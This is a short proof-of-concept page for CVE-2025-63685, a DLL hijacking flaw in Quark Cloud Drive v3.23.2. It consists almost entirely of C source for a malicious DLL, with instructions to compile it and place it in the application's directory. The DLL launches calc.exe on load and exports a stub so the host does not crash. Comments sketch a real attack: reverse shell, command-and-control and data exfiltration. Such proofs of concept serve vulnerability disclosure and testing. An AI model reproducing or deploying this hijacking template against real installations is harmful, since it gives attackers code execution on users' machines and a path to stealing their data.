CVE-2025-63685 Quark Cloud Drive DLL劫持漏洞

// CVE-2025-63685 PoC - DLL Hijacking for Quark Cloud Drive v3.23.2 // Compile with: gcc -shared -o malicious.dll poc.c // Place the malicious.dll in the Quark Cloud Drive application directory #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Create reverse shell connection to attacker server // This PoC demonstrates code execution capability // Spawn calc.exe as proof of concept (for testing only) WinExec("calc.exe", SW_SHOWNORMAL); // Log exploitation attempt (in real attack, this would be hidden) MessageBox(NULL, "DLL Hijacking PoC", "CVE-2025-63685", MB_OK); // In actual exploitation: // - Establish C2 connection // - Execute arbitrary commands // - Exfiltrate sensitive data } return TRUE; } // Export function that the application expects // This ensures the malicious DLL doesn't cause immediate crash __declspec(dllexport) void RegisterServer() { // Legitimate function that Quark Cloud Drive expects // Place malicious code here or in DllMain }